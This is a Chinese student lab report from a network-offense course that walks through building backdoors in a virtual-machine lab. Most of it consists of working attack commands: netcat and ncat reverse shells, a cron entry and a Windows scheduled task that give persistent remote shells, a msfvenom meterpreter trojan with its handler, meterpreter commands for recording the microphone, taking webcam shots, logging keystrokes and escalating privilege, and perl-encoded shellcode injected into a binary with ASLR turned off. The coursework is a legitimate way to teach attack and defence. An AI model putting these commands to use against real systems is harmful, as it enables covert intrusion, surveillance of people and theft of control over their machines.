• 2019-2020-2《网络对抗技术》 Exp2 后门原理与实践


    实验内容

    • 使用netcat获取主机操作Shell,cron启动 (0.5分)
    • 使用socat获取主机操作Shell, 任务计划启动 (0.5分)
    • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
    • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
    • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

    基础问题回答

    • 例举你能想到的一个后门进入到你系统中的可能方式?

      答:程序绑定到 .jpg 等不同格式的图片中,在网页加载图片时,图片里绑定的程序被执行。

    • 例举你知道的后门如何启动起来(win及linux)的方式?

      答:设定后门程序触发条件,当计算机开机时、当到每天、每月或每年的特定时间时等等条件,后门程序启动。

      Windows 修改注册表,Linux 替换网络服务等等。

    • Meterpreter有哪些给你映像深刻的功能?

      答:获得屏幕的截图,就能获得相同权限的文件,能获得截图说明就能录像,再加上能录音,获取 IP 地址,就实现了:知道——你是谁,你在哪,从哪里来,到哪里去。

    • 如何发现自己有系统有没有被安装后门?

      答:运行杀毒软件、检查进程、检查线程、检查端口、检查注册表、检查网络通信等等。

    预备

    1. 固定 IP

    • Kali 虚拟机桥接模式固定 IP 为:192.168.3.101

    • Windows 7 虚拟机桥接模式固定 IP 为:192.168.3.111

      这里是由于 msfvenom 生成的木马与 Win10 不兼容,后文会提到。

    • Windows 10 宿主机固定 IP 为:192.168.3.4

    2. SSH 远程登录

    由于要输命令还得在宿主机和虚拟机之间来回切换,很麻烦。这里直接在 PowerShell 使用 SSH 远程登录 Kali。同组的同学可以参考:

    执行下一步需关闭宿主机和虚拟机双方的防火墙。

    3. Windows 获得 linux 的 shell

    • 在 Windows 使用 ncat.exe 程序监听本机的xxxx端口ncat.exe -l -p xxxx

    • 在 linux 中反弹连接 Windows , nc 192.168.3.101 xxxx -e /bin/sh,使用 -e 选项执行 shell 程序

    • 结果:左边 Windows PowerShell ,右边 Kali Shell

    4. linux 获得 Windows 的 shell

    • 在linux端使用 nc -l -p xxxx 指令监听 xxxx 端口

    • 在Windows下,使用 ncat.exe -e powershell.exe 192.168.3.101 xxxx 指令反向连接 linux 主机的 xxxx 端口

    • 结果:左边 Windows PowerShell ,右边 Kali Shell

    5. 使用nc指令传输数据

    • Windows 下使用 ncat.exe -l xxxx 指令监听 xxxx 端口
    • linux 使用nc 192.168.3.4 xxxx指令反弹连接到Windows的 xxxx 端口

    6. nc传输文件

    • linux 向 Windows 中传输文件

      • Windows中通过 ncat.exe -l xxxx> fileFromkali 监听 xxxx 端口
      • linux 反弹连接 Windows 的 xxxx 端口nc 192.168.3.4 xxxx < exp2_exam1 ,Windows可以收到 linux 发来的文件。
    • Windows 向 linux 中传输文件同理。

    实验

    分支一

    使用netcat获取主机操作Shell,cron启动

    windows使用 ncat.exe -l -p xxxx 监听 xxxx 端口。

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

    • crontab 指令增加一条定时任务, -e 表示编辑。在最后一行添加 9 * * * * /bin/netcat 192.168.3.4 xxxx -e /bin/sh 每个时间段的第9分钟反向连接 Windows 主机的 xxxx 端口。

    • 时间到了 11:09 ,此时已获得了 Kali 的 shell ,使用ls查看目录

    分支二

    使用socat获取主机操作Shell, 任务计划启动

    • 右键windows ,找到计算机管理 ,在系统工具找到任务计划程序,创建任务

    • 常规中填写任务名称为exp,点击触发器然后 新建触发器,我选择工作站锁定时然后点击确定。

    • 操作中,导入你所下载解压后的socat.exe的路径,在添加参数中填入tcp-listen:xxxx exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口 xxxx ,同时把cmd.exestderr重定向到stdout上),创建完成之后,点击确定。

    • 先锁定计算机,然后重新进入计算机,socat就会启动

    • 在kali中输入socat - tcp:192.168.2.130:xxxx(-代表标准的输入输出,第二个流连接到Windows主机的xxxx端口,IP为windows的IP),成功获得cmd shell

    分支三

    使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

    错误说明

    由于我的 Windows10 1909 18363.720 的未知兼容性问题,16位、32位、64位都试过,都不兼容,这里到Windows7虚拟机上进行。

    • 16位和32位

    • 64位

    换成 Windows 7 后步骤

    • 在 kali 中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=xxxx -f exe > xxxxxxxx_backdoor.exe(IP为kali的IP)生成后门程序 xxxxxxxx_backdoor.exe

    • 在Windows中使用`ncat.exe -l xxxx > xxxxxxxx_backdoor.exe 等待。

    • kali中输入nc 192.168.2.130 xxxx < xxxxxxxx_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机,传输成功。

    • 在linux中另外打开一个终端,msfconsole进入控制台

    • 输入use exploit/multi/handler使用监听模块,设置payload

    • 使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp

    • set LHOST 192.168.3.101此处为kali的IP(和生成后门程序时指定的IP相同)

    • 端口号也相同:set LPORT xxxx

    • 设置完成后,exploit开始监听

    • kali获得Windows主机的连接,并且得到了远程控制的shell

    分支四

    使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

    • 截取音频:record_mic

    • 获取摄像头拍照:webcam_snap

      由于是在虚拟机上实现,所以无法使用摄像头。

    • 截屏:screenshot

    • 记录击键的过程:keyscan_start读取击键的记录:keyscan_dump


    • 查看当前用户:getuid ,提取权限:getsystem

    加分内容

    使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    • 主要步骤同实验一,唯一要注意的的就是 PWN 可执行文件的 %esp 较实验一可能会出现变化。

      关闭地址随机化:

      execstack -s pwn1    //设置堆栈可执行
      execstack -q pwn1   //查询文件的堆栈是否可执行
      more /proc/sys/kernel/randomize_va_space   //查看地址随机化的状态
      echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
      

      这里只简述步骤:

      • gdb 来调试 xxxxxxxxpwn4 这个进程。
      • ps -aux | grep pwn查看进程 PID
      • attach <PID>
      • disassemble foo
      • break *0x080484ae
      • info r esp
      • x/16x 0x........
    • 根据 %esp 值 + 4 = 0xffffd700

    • 由此更改注入代码前 4 个 x 数据。

      perl -e 'print "A" x 32;print"x00xd7xffxffx90x90x90x90x90x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode_2
      
    • 在另终端中先启动 msfconsole

    use exploit/multi/handler     //用于设置payload
    set payload linux/x86/shell_reverse_tcp
    set LHOST 127.0.0.1              //设置IP为回环地址
    set LPORT 4444        //根据代码设置端口
    exploit   //设置完成开始监听
    
    • 返回这一终端中后执行:(cat shellcodeinput;cat) | ./pwn1 ,成功获得shell 。

    实验总结与体会

    Intel 的“熔断”和“幽灵”漏洞暂且不说,毕竟自1995年以来制造的大多数CPU都存在名为“熔断”的芯片缺陷。 一年前, AMD CPU 的安全性在人们眼中相对较高,最近一年也传出 APU 也存在漏洞。我们尚且可以在实验中获取权限来控制一台电脑,更何况这种最底层的漏洞。所以国家这几年加紧步伐想要做出自己的 CPU ,我们也要保护好自己的信息数据,不能外泄,以免随之而来的危险。

  • 相关阅读:
    ci高级使用方法篇之连接多个数据库
    JavaSE入门学习17:Java面向对象之package(包)
    找出字符串中第一个出现次数最多的字符
    red5源代码编译并打包公布
    J.U.C--locks--AQS分析
    Spring Web MVC 原理学习(下)
    深入理解 Linux 内存管理
    Java面试问题总结
    盗版者的失落
    eclipse配置lombok插件
  • 原文地址:https://www.cnblogs.com/Yogile/p/12519476.html
Copyright © 2020-2023  润新知